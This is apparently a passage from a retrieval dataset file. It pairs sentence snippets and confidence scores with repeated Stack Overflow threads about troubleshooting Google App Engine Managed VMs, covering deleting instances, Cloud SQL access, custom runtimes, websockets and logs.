running fine on standard env till now for last 3 years .", "I have a Python GAE application which also uses Google Compute Engine VM instances .", "In essence my question is what do I need to do to get cloud endpoints running on a managed VM for App Engine", "Started using Google Flex Vms https : cloud.google.com appengine docs flexible recently and in the logs there are multiple requests to ah background that last 1 hour each time .", "runtime : php only works on App Engine flexible - which is what you re using when you set vm : true .", "We were running on AppEngine but recently moved over to Managed VMs .", "Does anyone know how to permanently delete managed VMs", "Anyone tried to tame Managed VMs in this way with success", "@saiyr Are Cloud Endpoints supported on Managed VMs", "I ve been trying to add a new App Engine Module https : cloud.google.com appengine docs python modules that uses Managed VMs instead of the default GAE sandbox .", "app engine sandbox deploys just fine .", "Chris Ramsdale Product Manager for App Engine", "I m working on a simple implementation of Django hosted on Google s Managed VM service backed by Google Cloud SQL .", "Sorry if this was unclear but Local SSDs is a product Google Cloud offers that attaches a SSD in the same datacenter to the VM .", "From my understanding Google managed is the only option on Google Cloud as the servers are always on .", "Is appstats not supported on Managad VMs", "See Writing Application Logs https : cloud.google.com appengine docs managed-vms java writing-application-logs .", "Using App Engine Base Image", "Out of interest do you know when managed VMs will be available in the EU", "When I edit my appengine-web.xml file to include the requisite settings to deploy my app engine app as a managed vm via Eclipse or gcloud and then try to upload it I get this error : .. . .. . App Engine service account has insufficient permissions for project .", "Navigate to Compute - Compute Engine - VM instances .", "I am trying to upload php code to the google-app-engine but I get this failure notice during the upload : .. . .. . Here is my app.yaml code : .. . .. . Thanks Pete .", "Let me clear up some confusion here : .. . .. . runtime : php55 only works on App Engine standard .", "From the Cloud console you can switch it from Google managed to self-managed .", "If it s not working as is it might work if you change runtime : python to runtime : python-compat runtime that s compatible with App Engine standard .", "While deploying a Java application to App Engine Managed VM using gcloud preview app.. . I receive the following error : .. . .. . Our project does not have a network named default rather it has been renamed and uses subnets .", "From google documentation https : cloud.google.com appengine docs managed-vms tutorial step2 dockerfile the following Dockerfile specifies the standard python27 runtime : .. . .. . I have verified that this is the right Dockerfile by examining the one generated by gcloud preview app run when using the standard python27 runtime .", "Kind of crazy that you can t connect to Cloud SQL with Managed VMs in Java right now", "I may have missed some incompatibilities between the Docker and App Engine environments especially with the many aspects of App Engine that my project didn t use but hopefully it s enough to get people up and running .", "A standard runtime supports a subset of the App Engine service APIs .", "Navigate to Compute - App Engine - Versions and record the default-version-number .", "See https : cloud.google.com appengine docs managed-vms custom-runtimes", "This is also a good approach to running Managed VMs and Custom Runtimes in development contexts .", "Per the documentation https : cloud.google.com appengine docs managed-vms java configuring-your-app-with-appengine-web-xml you need to specify the instances which you will be connecting to as follows and redeploy your application .", "I can deploy a new app with gcloud preview app deploy but if I change some code and deploy again I can t see the changes on my .appspot.com .. . .. . git-push origin master don t work too .. . .. . I m using nodejs and google cloud shell inside browser .", "Reset Google Cloud API with gcloud config set app use appengine api false .", "The app returned an error when the Google Cloud Endpoints server attempted to communicate with it .", "You can find the default version in google-cloud-console by going menu burger icon - app engine - versions and you will see in that list one item with default by it .", "The documentation and tooling around Managed VMs seems to be quite immature at the moment and I ve run out of steam trying to fight it .", "Nope GC Console- App Engine- Task Queues- Cron Jobs Tab shows nothing .", "No more creating VMs in your project to do the build :", "https : cloud.google.com appengine docs java managed-vms maven .. . .. . How to setup eclipse for best productivity .", "Using WebSockets on Managed VMs may present other problems though due to port forwarding issues from the appspot.com frontend .", "Try updating to the latest version of the Google Cloud SDK by running : .. . .. . gcloud components update .. . .. . Then try deploying again .", "It looks like Local SSDs can be created via command-line gcloud compute or an API but it s not clear where we d configure any of these things since Managed VMs is doing the instance creation for us .", "In the beginning I ran google preview app deploy and 20 or so instances pop-up .", "Run gcloud components update in the Google Cloud SDK Shell .", "Then on this page https : cloud.google.com sql docs dev-access it states : .. . .. . Java App Engine Applications .. . .. . Using the Cloud SQL Proxy is not supported for Java .", "You might have accidentally deleted the app-engine service-account from the permissions tab try adding editor permissions to your-app-id @appspot.gserviceaccount.com .", "When I try to run it with the Google Cloud SDK maven-plugin or when I deploy it to App Engine the spreadsheet content loads but a CSS fails to download with an exception on the server : .. . .. . and then the UI gets slightly messed up - the cell selection highlight is not in the correct length of the cell and attempting to type or format the content of cells fails .", "So how to write it to managed vm" ] }
{ "confidence": [ 88.07828521728516, 80.6302719116211, 77.98487091064453, 76.63187408447266, 76.50983428955078, 75.33445739746094, 75.30490112304688, 72.76693725585938, 71.38646697998047, 71.15396881103516, 70.70890045166016, 69.18180847167969, 67.34559631347656, 66.7426528930664, 66.28561401367188, 65.19695281982422, 65.04084014892578, 64.23138427734375, 63.170135498046875, 63.13834762573242 ], "content": [ "Question : Is it possible to connect to Google Cloud Datastore from Google App Engine Custom Managed VM for Java I believe it is possible from the Standard Managed VM but is it possible from the Custom ones Comment : Those are two very different questions . cloud.google.com appengine docs managed-vms https : cloud.google.com appengine docs managed-vms custom-runtimes accessing cloud platform services .. . Answer : Yes . Standard Managed VMs .. . .. . From Using the Java Managed VM Environment https : cloud.google.com appengine docs java managed-vms : .. . .. . The Java runtime is available as a Managed VM standard runtime . A standard runtime supports a subset of the App Engine service APIs . Currently Managed VMs support these services : .. . .. . Datastore .. . Logging .. . Memcache .. . Search .. . Task Queue .. . URL Fetch .. . Users .. . .. . Managed VM with Custom Runtime .. . .. . From Building Custom Runtimes : Accessing Cloud Platform services https : cloud.google.com appengine docs managed-vms custom-runtimes accessing cloud platform services : .. . .. . Runtimes in Managed VMs can access any Google or third party services via standard APIs . Everything Else .. . .. . You can also connect to Google Cloud Datastore from anywhere using the Datastore REST API https : cloud.google.com datastore docs apis overview .", "Question : I am unable to permanently delete Google App Engine managed VMs I ve created . I ve deleted them multiple times both from the developer s console and by using the gcloud command . In every case the command completes successfully and the VM is deleted but then almost immediately Google creates a brand new VM to take its place . Does anyone know how to permanently delete managed VMs Thanks . Comment : What s your scalability options on your managed VM If you have minimum instances 1 then yes it ll keep on reappearing . You may need to upload a new version with different scalability options and THEN delete Comment : I ve had to also delete the Version info that was associated with the deleted instance . From the admin console go to Compute - App Engine - Versions and delete the version no longer needed for the managed vm . Comment : Thanks for both comments . @Patrice I m using manual scaling with instances 1 . Comment : @Jeff that approach worked for me with 1 VM but I want to delete everything so as not to incur any charges . From what I can tell I m not allowed to delete the app s default version from the App Engine . Therefore I m left with the 1 VM running . Comment : @Howard then maybe try to upload a version without instance 1 When I was playing with managed VM I had the same issue and I had to upload a new version without minimum instances .. . Answer : I wanted to update this post with some of my solutions to deploying with versions and deleting instances on Google Compute Engine s managed VMs . Here s a solution I found for deleting the default GCE managed VM : .. . .. . Make sure you have the up-to-date GCE components . Run gcloud components update in the Google Cloud SDK Shell . In your app.yaml remove the vm : true resources : section and manual scaling : section . Navigate to Compute - App Engine - Versions and record the default-version-number . Mine looks like 20150722t1245032 with the words default indicating the default version . Deploy the application set the default and specify the default version . gcloud preview app deploy .. . app.yaml --set-default --version default-version-number . Navigate to Compute - Compute Engine - VM instances . Select the default instance and delete . I was also taught how to stop deploying additional instances : .. . .. . The key is to specify the version number gcloud preview app deploy .. . app.yaml --set-default --version version-number . @ZacharyNewman was able to help me with this problem http : stackoverflow.com questions 31484826 how-to-stop-creating-extra-instances-when-using-google-managed-vms . And finally this is how to delete the additional versions of an instance : .. . .. . Navigate to Compute - App Engine - Versions and delete the versions you don t want . Navigate to Compute - Compute Engine - VM instances . Select the instances you don t want and delete . Hope this helps Comment : Removing vm : true doesn t allow to deploy the app at all .", "Question : I am unable to permanently delete Google App Engine managed VMs I ve created . I ve deleted them multiple times both from the developer s console and by using the gcloud command . In every case the command completes successfully and the VM is deleted but then almost immediately Google creates a brand new VM to take its place . Does anyone know how to permanently delete managed VMs Thanks . Comment : What s your scalability options on your managed VM If you have minimum instances 1 then yes it ll keep on reappearing . You may need to upload a new version with different scalability options and THEN delete Comment : I ve had to also delete the Version info that was associated with the deleted instance . From the admin console go to Compute - App Engine - Versions and delete the version no longer needed for the managed vm . Comment : Thanks for both comments . @Patrice I m using manual scaling with instances 1 . Comment : @Jeff that approach worked for me with 1 VM but I want to delete everything so as not to incur any charges . From what I can tell I m not allowed to delete the app s default version from the App Engine . Therefore I m left with the 1 VM running . Comment : @Howard then maybe try to upload a version without instance 1 When I was playing with managed VM I had the same issue and I had to upload a new version without minimum instances .. . Answer : In Google Cloud Console http : console.cloud.google.com under App Engine - Versions select the default version of your managed VM application and use STOP button to turn it off .", "Question : I want a Java Appengine Managed VM application to connect to a 2nd Gen Cloud SQL Instance . There are discrepancies in the documentation - I can t figure out if this is actually supported by Google or not https : cloud.google.com appengine docs managed-vms java using-cloud-sql states : .. . .. . 4 : In the console grant your App Engine application access to the Google Cloud SQL instance . But I see no way of doing this . In the Cloud SQL management console under properties of an instance there is : .. . .. . Authorized applications : None .. . .. . and seemingly no way to authorize applications Then on this page https : cloud.google.com sql docs dev-access it states : .. . .. . Java App Engine Applications .. . .. . Using the Cloud SQL Proxy is not supported for Java . So you seemingly cant use the Cloud SQL proxy . The only way I have got it all working is to open the SQL port to the world so that the managed VM instances can connect to it on its public IP address but that is a horrific solution Is there an actual supported way of doing this Anyone from Google able to answer .. . Answer : April 2016 Update .. . .. . We have a new Java library for connecting to Cloud SQL instances from Managed VMs and other environments : https : github.com GoogleCloudPlatform cloud-sql-mysql-socket-factory .. . .. . It s still very new so the usual caveats apply but we haven t found any issues in our testing . .. . .. . Old answer : .. . .. . I think the best option right now is to use the junixsocket library as explained in this post : http : stackoverflow.com a 34820600 .. . .. . If you are using the maven-war-plugin to package your application then adding the following two dependencies should be enough : .. . .. . For Play Framework add the following dependencies : .. . .. . Configure your Play application.conf as follows : .. . .. . We hope to offer something in the future that does not require the use of junixsocket or a similar library . We ll review fix the documentation at https : cloud.google.com appengine docs managed-vms java using-cloud-sql as it has some issues . Thanks for bringing it to our attention . Comment : Thanks for the quick reply . Am I right in saying that the junixsocket solution would mean having to download binary blobs onto the Managed VMs and start hacking around at that level Sounds like the start of a rabbit hole Comment : Kind of crazy that you can t connect to Cloud SQL with Managed VMs in Java right now Comment : Yes and no if your application is setup packaged how the hello world application is setup then all you need to do is add junixsocket as a dependency and the native dependencies will be packaged as well and things should just work . If your setup is more custom then there might be more you would need to do for the native libraries to be found . We know it s not optimal and we have some ideas on how to make this better but we have to work with the limitation that Java is one of the few languages that does not support UNIX sockets out of the box . Comment : Understood Vadim - thanks . I cant see any documentation on the google side about this specifically - is that correct What is it that is packaging the native dependencies Does the maven-plugin coordinate this with the managed VM provisioning Comment : maven-war-plugin takes care of including all dependent jars in the war . junixsocket-native-common jar contains the native libraries . junixsocket uses native-lib-loader github.com scijava native-lib-loader https : github.com scijava native-lib-loader to load the native library from the packaged jar .", "Question : I am unable to permanently delete Google App Engine managed VMs I ve created . I ve deleted them multiple times both from the developer s console and by using the gcloud command . In every case the command completes successfully and the VM is deleted but then almost immediately Google creates a brand new VM to take its place . Does anyone know how to permanently delete managed VMs Thanks . Comment : What s your scalability options on your managed VM If you have minimum instances 1 then yes it ll keep on reappearing . You may need to upload a new version with different scalability options and THEN delete Comment : I ve had to also delete the Version info that was associated with the deleted instance . From the admin console go to Compute - App Engine - Versions and delete the version no longer needed for the managed vm . Comment : Thanks for both comments . @Patrice I m using manual scaling with instances 1 . Comment : @Jeff that approach worked for me with 1 VM but I want to delete everything so as not to incur any charges . From what I can tell I m not allowed to delete the app s default version from the App Engine . Therefore I m left with the 1 VM running . Comment : @Howard then maybe try to upload a version without instance 1 When I was playing with managed VM I had the same issue and I had to upload a new version without minimum instances .. . Answer : We are working on improving this experience . For now though one workaround is to deploy a non-Managed VM instance as the default version and delete any other versions that are Managed VM-based . Again this issue is on our radar to be fixed . Chris Ramsdale Product Manager for App Engine Comment : Thanks for the reply . I m glad to know that it s something you re working on . Comment : This isn t fixed yet Any ETA Comment : One year later and It s still like judgement day trying to shut down these machines", "Question : PROBLEM DESCRIPTION .. . .. . I am trying to create a custom managed VM for Google App Engine that behaves identically to the standard python27 managed VM provided by Google . I m doing this as a first step to adding a C++ library to the runtime . From google documentation https : cloud.google.com appengine docs managed-vms tutorial step2 dockerfile the following Dockerfile specifies the standard python27 runtime : .. . .. . I have verified that this is the right Dockerfile by examining the one generated by gcloud preview app run when using the standard python27 runtime . It is identical to this . But when I run my application with this Dockerfile using dev appserver.py or with gcloud preview app run I get an error saying : .. . .. . I am using the latest versions of gcloud 1.9.86 with app-engine-python component version 1.9.28 and the standalone python app engine SDK 1.9.28 . I had the same problem with earlier versions so I updated to the latest . THINGS I HAVE TRIED : .. . .. . gcloud preview app run --help has the following to say about --custom-entrypoint : .. . .. . I am not sure what to make of this . Should the docker image not already contain an ENTRYPOINT Why am I being required to provide one in addition Also what should the entrypoint be for the gcr.io google appengine python-compat image be Google provides no documentation for this . I have tried a meaningless --custom-entrypoint echo which silences the error but the application does not response to any HTTP requests . The two other relevant stackoverflow questions I have found have not helped . The accepted answers seem to suggest that this is a bug in the SDK that was resolved . But I have tried it in two versions of the SDK including the latest and I still have the problem . How to fix The --custom entrypoint flag must be set for custom runtimes http : stackoverflow.com questions 31280849 how-to-fix-the-custom-entrypoint-flag-must-be-set-for-custom-runtimes .. . Google Managed VM error - custom entry-point http : stackoverflow.com questions 33255674 google-managed-vm-error-custom-entry-point .. . .. . STEPS TO REPRORDUCE : .. . .. . To highlight my problem I have created a trivial application that generates the error . It consists of just three files : .. . .. . app.yaml : .. . .. . Dockerfile : .. . .. . This Dockerfile is the same one that is used for the python27 runtime and in fact literally copy-pasted from the Dockerfile generated by gcloud preview app run when using the python27 runtime so this should be identical to setting runtime : python27 . wsgi.py : .. . .. . When I run dev appserver.py app.yaml in the directory containing these three files however I get the following error : .. . Answer : After trying to get my custom VM working with dev appserver for the better part of a day the accepted answer http : stackoverflow.com a 33814096 862857 to this post came as a pretty unpleasant surprise . But I figured deploying a dev server couldn t be that much of a hassle because after all the VM is a standard Docker image . Well there did turn out the be a few issues that prevent a straight deployment from working . I ve provided a summary of these issues below as well as how I solved them . I may have missed some incompatibilities between the Docker and App Engine environments especially with the many aspects of App Engine that my project didn t use but hopefully it s enough to get people up and running . Sources of trouble .. . .. . First I found the python environment run in the Compute Engine VMs to be a bit more lenient than a normal VM environment e.g . packages like webapp2 are always available . Consequently deploying to the less forgiving Docker container environment surfaced some latent errors in my project . That being said there are some differences in the environments that necessitate some tweaks even if your project is flawless : .. . .. . Problem : gunicorn or the server of your choice must be installed on the Docker container s path . While this may seem obvious I ran into trouble because I included gunicorn in my project s requirements.txt file . Unfortunately I was installing all of these dependencies using pip install -t .. . which is only able to install source . As a result there was no gunicorn binary on the image let alone on the PATH . Solution : Explicitly pip install gunicorn .. . .. . .. . .. . Problem : google.appengine . packages are not available from the App Engine base Docker image nor are they available via pip AFAICT . This may be a common source of trouble because google.appengine.ext.vendor is the recommended interface for importing third-party libraries into your App Engine app . Solution : I got around this by downloading the entire Google App Engine package hierarchy and placing it on the path of the app . How to get the script .. . .. . The script to build and deploy the VM docker image to a docker-container running locally is available here https : gist.github.com msuozzo 53e9a56a5ef7855c05ad . For an working example check out my project https : github.com msuozzo Gnosis-Kindle-GCP . Let me know if you have a comment a feature request or if you write prettier bash than me I feel I ve set the bar comfortably low on that count .", "Question : PROBLEM DESCRIPTION .. . .. . I am trying to create a custom managed VM for Google App Engine that behaves identically to the standard python27 managed VM provided by Google . I m doing this as a first step to adding a C++ library to the runtime . From google documentation https : cloud.google.com appengine docs managed-vms tutorial step2 dockerfile the following Dockerfile specifies the standard python27 runtime : .. . .. . I have verified that this is the right Dockerfile by examining the one generated by gcloud preview app run when using the standard python27 runtime . It is identical to this . But when I run my application with this Dockerfile using dev appserver.py or with gcloud preview app run I get an error saying : .. . .. . I am using the latest versions of gcloud 1.9.86 with app-engine-python component version 1.9.28 and the standalone python app engine SDK 1.9.28 . I had the same problem with earlier versions so I updated to the latest . THINGS I HAVE TRIED : .. . .. . gcloud preview app run --help has the following to say about --custom-entrypoint : .. . .. . I am not sure what to make of this . Should the docker image not already contain an ENTRYPOINT Why am I being required to provide one in addition Also what should the entrypoint be for the gcr.io google appengine python-compat image be Google provides no documentation for this . I have tried a meaningless --custom-entrypoint echo which silences the error but the application does not response to any HTTP requests . The two other relevant stackoverflow questions I have found have not helped . The accepted answers seem to suggest that this is a bug in the SDK that was resolved . But I have tried it in two versions of the SDK including the latest and I still have the problem . How to fix The --custom entrypoint flag must be set for custom runtimes http : stackoverflow.com questions 31280849 how-to-fix-the-custom-entrypoint-flag-must-be-set-for-custom-runtimes .. . Google Managed VM error - custom entry-point http : stackoverflow.com questions 33255674 google-managed-vm-error-custom-entry-point .. . .. . STEPS TO REPRORDUCE : .. . .. . To highlight my problem I have created a trivial application that generates the error . It consists of just three files : .. . .. . app.yaml : .. . .. . Dockerfile : .. . .. . This Dockerfile is the same one that is used for the python27 runtime and in fact literally copy-pasted from the Dockerfile generated by gcloud preview app run when using the python27 runtime so this should be identical to setting runtime : python27 . wsgi.py : .. . .. . When I run dev appserver.py app.yaml in the directory containing these three files however I get the following error : .. . Answer : UPDATE .. . .. . THIS MAY NO LONGER BE ACCURATE . SEE NICK S ANSWER . Though I could not get that working . But I did not try very hard .. . .. . .. . .. . There is a completely undocumented but absolutely essential piece of information w.r.t . custom managed VMs : .. . .. . THEY CANNOT BE RUN ON THE DEVELOPMENT SERVER .. . .. . If you think this crucial fact would be mentioned anywhere sane like say the documentation page for custom managed VMs or for dev appserver.py or even as an error message when running dev appserver.py then you are giving Google far too much credit . The only place where I can find any kind of statement about this is in the Readme file of the appengine-java-vm-guestbook-extras demo https : github.com GoogleCloudPlatform appengine-java-vm-guestbook-extras on github seriously : .. . .. . The Cloud SDK does not support anymore running custom runtimes when a Dockerfile is provided . You ll have to deploy the application to App Engine .. . .. . Google does not care to : .. . .. . 1 . Implement this basic and important feature . 2 . Document that the development server is missing such an important feature . 3 . Give any reasonable error message when the user tires to perform the action . I hope this answer saves some sorry developer from the days of torment I suffered because of this . Comment : This answer is not correct see my answer below .", "Question : I want a Java Appengine Managed VM application to connect to a 2nd Gen Cloud SQL Instance . There are discrepancies in the documentation - I can t figure out if this is actually supported by Google or not https : cloud.google.com appengine docs managed-vms java using-cloud-sql states : .. . .. . 4 : In the console grant your App Engine application access to the Google Cloud SQL instance . But I see no way of doing this . In the Cloud SQL management console under properties of an instance there is : .. . .. . Authorized applications : None .. . .. . and seemingly no way to authorize applications Then on this page https : cloud.google.com sql docs dev-access it states : .. . .. . Java App Engine Applications .. . .. . Using the Cloud SQL Proxy is not supported for Java . So you seemingly cant use the Cloud SQL proxy . The only way I have got it all working is to open the SQL port to the world so that the managed VM instances can connect to it on its public IP address but that is a horrific solution Is there an actual supported way of doing this Anyone from Google able to answer .. . Answer : I did finally get it running with a managed VM with this xml : .. . .. . But after following the rabit hole I dont think its going to be easy to swap out the TCP database connector with the socket based one in the framework Im using play framework . REALLY would love to be able to define allowed AppEngine projects in the Cloud SQL instance settings - without this ability Im going to have to run on AWS.. . Comment : I ve updated my answer above with instructions for Play Framework does that help", "Question : I am writing files to Google app engine managed vm flexible environment . I have deployed the code to cloud . The code opened the file and write it without show errors like permission errors . However my another code trying to open the file failed with No such file or directory . I have printed the location directory so I used ssh command also cannot find the file inside managed vm . And I cannot find any documentation about writing files to local-storage of managed VM . So how to write it to managed vm What is the default storage location Why I cannot find the file Comment : Could the file been written in a different instance which has since been destroyed As a start i would write to tmp which is usually writeable to all users . Comment : I tried cannot find the file there too . It is in the docker-container .. . Answer : The reason you can t find the file inside the VM is because the VM is running a Docker container and your app is actually inside that container . If you really wanted to you could docker exec -it container-name -- bin bash to poke around inside the container and then you should see your file use docker ps to find the container ID . On App Engine flexible new name for Managed VMs your code could be scaled across many container so there s no promise that a file you write to one will be accessible later . You can get away with dealing with some writing to some tmp files but not much more . You will be much better off writing any data to something like Cloud Datastore Cloud SQL Memcache or Cloud Storage . Comment : Thanks for the reply . Do you have a way to use cloudstorage library instead of gcloud storage library to write file to Cloud Storage in Managed VM Comment : Which cloudstorage library are you referring to Comment : This one git-clone https : github.com GoogleCloudPlatform appengine-gcs-client.git . There are tutorials about how to use from gcloud import storage in managed vm but not that lib . Comment : Haven t used it so I m not sure . If it s not working as is it might work if you change runtime : python to runtime : python-compat runtime that s compatible with App Engine standard . But I would stick with gcloud-python as it s the way forward .", "Question : We re using Managed VMs and can currently serve files from the local disk in the VM which is a standard magnetic HD as well as serving from Google Cloud Storage which is also backed by magnetic HDs . https : cloud.google.com appengine docs managed-vms .. . .. . As we re working with large-files high-res geo images in a latency-sensitive context we d like to be able to use Local SSDs with our Managed VMs app it s okay that the data is not persistent it just needs to be fast and work with large-files . At some point we may want to use other services that are fast and designed for working with large-files e.g . Blobstore but we have a workflow already set up to work with files so it should be easiest to set up a faster file system now . Is it possible to use Local SSD storage with Managed VMs Here s info on Local SSDs . They need to be created at instance creation time for Google Compute instances which Managed VMs are creating behind the scenes . It looks like Local SSDs can be created via command-line gcloud compute or an API but it s not clear where we d configure any of these things since Managed VMs is doing the instance creation for us . Presumably we d do this in app.yaml Dockerfile or in a gcloud command but it s not obvious how this would work . https : cloud.google.com compute docs disks local-ssd Comment : Hello Sorry to tell you but you cannot use your local SSD storage with remote-server . If you create an instance of remote SSD you ll still have a LOT of latency problems . Bottom line : Invest 1k+ in the SSD on premise I do 256gb backup for every 1TB of storage Don t ever try to store data in the storage cloud . The access time will be sooooo slow . Comment : Sorry if this was unclear but Local SSDs is a product Google Cloud offers that attaches a SSD in the same datacenter to the VM . The point of this is to have a flask webserver able to do fast modifications to files on disk and then serve the modified files . Thanks . .. . Answer : Apologies this isn t currently available . We don t really let you customize the VM specs aside from the disk size . If you max out the disk size you will get the highest IOPS we support . We kicked around the idea of tmpfs but it s not available just yet .", "Question : I am unable to permanently delete Google App Engine managed VMs I ve created . I ve deleted them multiple times both from the developer s console and by using the gcloud command . In every case the command completes successfully and the VM is deleted but then almost immediately Google creates a brand new VM to take its place . Does anyone know how to permanently delete managed VMs Thanks . Comment : What s your scalability options on your managed VM If you have minimum instances 1 then yes it ll keep on reappearing . You may need to upload a new version with different scalability options and THEN delete Comment : I ve had to also delete the Version info that was associated with the deleted instance . From the admin console go to Compute - App Engine - Versions and delete the version no longer needed for the managed vm . Comment : Thanks for both comments . @Patrice I m using manual scaling with instances 1 . Comment : @Jeff that approach worked for me with 1 VM but I want to delete everything so as not to incur any charges . From what I can tell I m not allowed to delete the app s default version from the App Engine . Therefore I m left with the 1 VM running . Comment : @Howard then maybe try to upload a version without instance 1 When I was playing with managed VM I had the same issue and I had to upload a new version without minimum instances .. . Answer : There might be a simpler way to explain this -- basically you cannot delete a version that s receiving 100 of the traffic . .. . .. . Therefore you just need to create a non managed VM like a simple helloworld application . Then you can move all of the traffic to this helloworld application see graphic I named mine version 0 then delete version 20160.. . or whatever the name of your vm is . enter image description here http : i.stack.imgur.com IaujW.png .. . .. . At some point in time you re probably going to experiment or spin up your managed VM again . When you do that it will automatically start getting 100 of the traffic . Or if you happen to know version number receiving 100 of the traffic you can always deploy a simple non managed VM with this version .", "Question : I am working with socketIO + Nodejs over gcloud app-engine with managed vms . I am facing a problem that when I use manual scaling the gcloud working well with sockets . But when I use dynamic scaling sockets not working at all I think it doesn t work because of the port forwarding problem with two instances here s my app.yaml instances handling that works . When I remove them sockets not works at all . Is there s any recommendation or a work around . As I am going to serve a very large number of socket requests 2 million day . If no work around found . What is the specs that I should use for one instance to handle all of these requests or how can I calculate them Thanks . Comment : As explained in the documentation you need to connect via the IP address of the instance and connections through appspot.com will not work . This is probably the origin of your issue the fact that you aren t providing a static IP to each Managed VM instance which is created when in dynamic mode . Have you considered either looking deeper into the documentation and playing around with Managed VMs or simply sending your socket connections to a pool of Compute Engine VMs which are perfectly suited to handling such connections Comment : It works with static ip thanks . .. . Answer : Google Cloud does not natively support load balanced web sockets . There are a few options you can use to work around the problem . One option is to route websocket traffic directly to the VM instance instead of through the cloud load balancer . You can see an example of doing that here : .. . .. . https : github.com GoogleCloudPlatform nodejs-docs-samples tree master appengine websockets .. . .. . This will work but you should know about the downsides : .. . .. . It doesn t natively work over HTTPS .. . Once a week VM instances in Managed VMs are recycled leading to dropped connections . Another option is to use a 3rd party service like pubnub or pusher : .. . .. . https : www.pubnub.com developers .. . https : pusher.com .. . .. . Best of luck Comment : Does it work over websockets only Or it will work with socketio as well", "Question : null .. . Answer : We re currently running on App Engine Java and want to test the new managed VMs that Google are beta-testing . Everything builds but I can t get any of the endpoints to work . When I build the error that comes back is : .. . .. . SEVERE : Endpoints configuration not updated . The app returned an error when the Google Cloud Endpoints server attempted to communicate with it . In the admin logs I can see that it has attempted but the error comes back : .. . .. . API configuration update failed .. . .. . The discovery docs get created locally but there isn t anything in the logs . I can see the POST to the getApiConfigs but no details on the failure . Hopefully someone else has encountered the same problem and can help In essence my question is what do I need to do to get cloud endpoints running on a managed VM for App Engine Thanks Comment : If you would file a bug at the external tracker https : code.google.com p googleappengine issues list with label Component Endpoints and your app-id I can help debug . Comment : thanks @saiyr it turned out to be a custom filter that was preventing the API from being generated . Out of interest do you know when managed VMs will be available in the EU Comment : @saiyr Are Cloud Endpoints supported on Managed VMs I have been informed 2 times that they are not.. . Comment : No they are not officially supported but they should still work mostly . They should be better supported in coming months .", "Question : I am trying to upload php code to the google-app-engine but I get this failure notice during the upload : .. . .. . Here is my app.yaml code : .. . .. . Thanks Pete . Comment : This code comes from a Google repository : github.com GoogleCloudPlatform getting-started-php https : github.com GoogleCloudPlatform getting-started-php .. . Answer : Let me clear up some confusion here : .. . .. . runtime : php55 only works on App Engine standard . This does not run your code on a VM rather runs in the App Engine standard sandbox . It means you get a free tier scale to 0 and App Engine APIs - but it also means no PHP 7.0 support no composer support and sandboxed APIs . runtime : php only works on App Engine flexible - which is what you re using when you set vm : true . It means you get to use PHP 7.0 Docker and Composer - but it also means no free tier no scale to 0 and no App Engine APIs . The guide at https : cloud.google.com php assumes you re using App Engine Flexible . It really depends on what you re trying to build :", "Question : I like that I can use the Logs API described here : https : cloud.google.com appengine docs java logs to programatically access and display app request logs as I see fit--it s great . Now that I m using Managed VMs on AppEngine you can see on the Admin Console Logs Viewer that there are a ton of additional logs--including in my case a custom log which I found I could include in the viewer decribed here : https : cloud.google.com appengine docs managed-vms custom-runtimes logging . Admin Console Log Viewer http : i.stack.imgur.com 9vTct.png .. . .. . My question is : Is there any way I can use the Logs API or other pipelines already built to access these logs My Managed VM module includes several components which could produce logs that I want to view : .. . .. . 1 . App logs -- I can get these No problem here . 2 . Custom log files created by background processes I kick off in ah start like my custom 1.log in the screenshot .. . 3 . STDERR STDOUT from my background processes .. . 4 . Relevant Managed VM logs e.g . for when an instance was restarted due to bad health.. . other system events like normal restarts Basically I want the total picture at the instance level . Anyone tried to tame Managed VMs in this way with success I m not looking forward to rolling my own solution . And I wouldn t even know where to start on the problem of capturing STDERR and STDOUT . Any help appreciated . .. . Answer : There is a difference between App Engine logging and Google Cloud logging . Some of the Managed VM logs go to both but much of it only goes to cloud logging . Until recently there was not an API to read Cloud logs only to write them . However there is a new v2 beta API : https : cloud.google.com logging docs api introduction v2 .. . .. . To do things at an instance level entries in Cloud logging should have metadata set to denote which VM they came from . Both of these values seem to vary on logs from my VMs : .. . .. . compute.googleapis.com resource name .. . compute.googleapis.com resource id", "Question : I ve been trying to add a new App Engine Module https : cloud.google.com appengine docs python modules that uses Managed VMs instead of the default GAE sandbox . The intent is to provide a module where I can run newer versions of SciPy and NumPy which can be called by my user-facing Module . I have successfully built and run my Docker images containers locally but have run into a lot of issues when I try to deploy to a custom version on the Google servers . The following is from the serial console output for the Managed VM module instance which continues to reboot due to issues that appear to be beyond my control . Has anyone else run into these Did I miss something during the configuration deployment process FWIW : I ve used GAE for several years and even contributed to it during my time at Google . I also have experience using Modules as well as with Docker . The documentation and tooling around Managed VMs seems to be quite immature at the moment and I ve run out of steam trying to fight it . I need help . Edit : Additional information from the shutdown.log is below . The docker logs command is not being run in any of my code or Dockerfiles -- I assume there is a bug in the way Google is using it on their end . Comment : Can you reproduce the problem outside of managed VM s Like in container engine Comment : @PlanB I haven t tried to reproduce it in GCE but as I mentioned I was able to build a Docker container that runs locally on my machine and had no issues . I believe Google s deployment process injects additional layers on the image that I don t have access to and the problem may be in there . Are Managed VM Docker containers able to run in GCE with little modification .. . Answer : I don t know the answer but I have some ideas . Missing Image Indicates some problem getting the docker image from the registry . It doesn t sound like a 404 not found error . Nevertheless I d try the following : .. . .. . Make sure you can pull the image https : cloud.google.com container-registry docs pulling from the registry from your development-machine using gcloud docker pull . If not push it to the registry https : cloud.google.com container-registry docs pushing to the registry . Using App Engine Base Image This sounds like the local metadata server isn t running or properly configured . My guess is this means your custom docker image isn t using one of the standard base images in particular the Python base image https : cloud.google.com appengine docs managed-vms custom-runtimes base images . Try updating your Dockerfile to use the standard python base image . Comment : Thanks for the tips . My Dockerfile does use FROM gcr.io google appengine python which is one of the standard base images for GAE Python ManagedVMs . The Managed VM docs don t state a requirement to use Google s Container Registry explicitly but it s entirely possible that the documentation is out of date or incorrect given how little it has helped up to this point . Comment : FROM gcr.io google appengine python-compat should be what it reads . I ve never seen FROM gcr.io google appengine python anywhere is it possible that could be useful information", "Question : PROBLEM DESCRIPTION .. . .. . I am trying to create a custom managed VM for Google App Engine that behaves identically to the standard python27 managed VM provided by Google . I m doing this as a first step to adding a C++ library to the runtime . From google documentation https : cloud.google.com appengine docs managed-vms tutorial step2 dockerfile the following Dockerfile specifies the standard python27 runtime : .. . .. . I have verified that this is the right Dockerfile by examining the one generated by gcloud preview app run when using the standard python27 runtime . It is identical to this . But when I run my application with this Dockerfile using dev appserver.py or with gcloud preview app run I get an error saying : .. . .. . I am using the latest versions of gcloud 1.9.86 with app-engine-python component version 1.9.28 and 